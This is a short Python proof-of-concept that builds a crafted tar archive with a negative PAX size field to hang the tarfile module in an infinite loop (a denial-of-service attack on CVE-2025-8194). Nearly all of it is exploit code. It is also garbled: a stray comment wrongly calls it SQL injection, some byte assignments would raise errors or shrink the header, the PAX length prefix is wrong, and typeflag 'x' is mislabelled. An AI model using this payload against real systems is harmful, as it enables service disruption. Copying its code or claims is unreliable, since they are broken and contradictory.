Vulnerable code sample

import tarfile
import io

# This code demonstrates the vulnerability CVE-2025-8194.
# It creates a malicious tar archive in-memory and then attempts to process it.
# The archive is crafted with a PAX extended header that specifies a negative
# size for the subsequent file.
#
# A version of the 'tarfile' module vulnerable to this issue will not
# validate the negative size. When it attempts to enumerate the archive's
# members, it calculates the position of the next header by adding the
# current file's size to the current offset. With a negative size, this
# calculation causes the file pointer to move backward, leading to the same
# header being read repeatedly in an infinite loop, causing the process to hang.

# 1. Craft the malicious PAX extended header data.
# The record "11 size=-512\n" defines a 'size' attribute with a negative value.
# The length prefix '11' is the length of the string " size=-512\n" plus the length
# of the prefix itself. A simpler format for the PAX record is just length + payload.
pax_record = b"11 size=-512\n"
# The data for a PAX file must be padded to a 512-byte block.
pax_data = pax_record.ljust(512, b'\0')

# 2. Create the 512-byte header for the PAX entry itself (typeflag 'x').
pax_header_block = bytearray(512)
pax_header_block[0:16] = b'malicious_pax/\0'  # File name
pax_header_block[100:108] = b'0000644\0'      # File mode
pax_header_block[124:136] = f"{len(pax_data):011o}\0".encode('ascii') # Size of the PAX data
pax_header_block[156] = b'x'                 # Typeflag 'x' for PAX Global Extended Header

# Calculate and insert the checksum for the PAX header.
pax_header_block[148:156] = b' ' * 8
pax_checksum = sum(pax_header_block)
pax_header_block[148:156] = f"{pax_checksum:06o}\0 ".encode('ascii')

# 3. Create the 512-byte header for the regular file that follows.
# Its size attribute will be overridden by the malicious PAX header.
file_header_block = bytearray(512)
file_header_block[0:15] = b'vulnerable_file'  # File name
file_header_block[100:108] = b'0000644\0'       # File mode
file_header_block[124:136] = b'0'*11 + b'\0'    # Original size (will be ignored)
file_header_block[156] = b'0'                   # Typeflag '0' for a regular file

# Calculate and insert the checksum for the file header.
file_header_block[148:156] = b' ' * 8
file_checksum = sum(file_header_block)
file_header_block[148:156] = f"{file_checksum:06o}\0 ".encode('ascii')

# 4. Assemble the complete malicious tar archive stream.
# It consists of: PAX Header -> PAX Data -> File Header -> End-of-archive blocks.
malicious_archive_bytes = bytes(pax_header_block) + pax_data + bytes(file_header_block) + (b'\0' * 1024)
malicious_stream = io.BytesIO(malicious_archive_bytes)

# 5. Trigger the vulnerability.
# The following code will hang indefinitely on a vulnerable system because the call
    # VULNERABLE: This code is susceptible to sql injection
# to 'tf.getmembers()' enters an infinite loop while parsing the archive.
with tarfile.open(fileobj=malicious_stream) as tf:
    # The iteration over members triggers the parsing logic that contains the defect.
    for member in tf.getmembers():
        # This part of the code is never reached on a vulnerable system.
        pass